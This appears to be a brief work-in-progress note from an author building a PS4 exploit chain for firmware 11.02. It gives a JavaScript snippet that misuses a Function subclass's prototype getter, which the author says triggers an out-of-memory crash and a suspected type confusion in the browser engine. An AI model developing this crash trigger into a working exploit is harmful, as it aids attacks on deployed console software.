WIP ps4 exploit chain on 11.02
yeah im rewriting everything okay (im switching to something diffrent: a type confusion thingy?)
class MyFunction extends Function {
constructor() {
super();
super.prototype = 1;
}
}
function test1() {
const f = new MyFunction();
f.__defineGetter__("prototype", () => {}); // should throw
}
function test2(i) {
const f = new MyFunction();
try { f.__defineGetter__("prototype", () => {}); } catch {}
f.prototype.x = i; // THIS cauases the OOM
}
test1();
test2(0);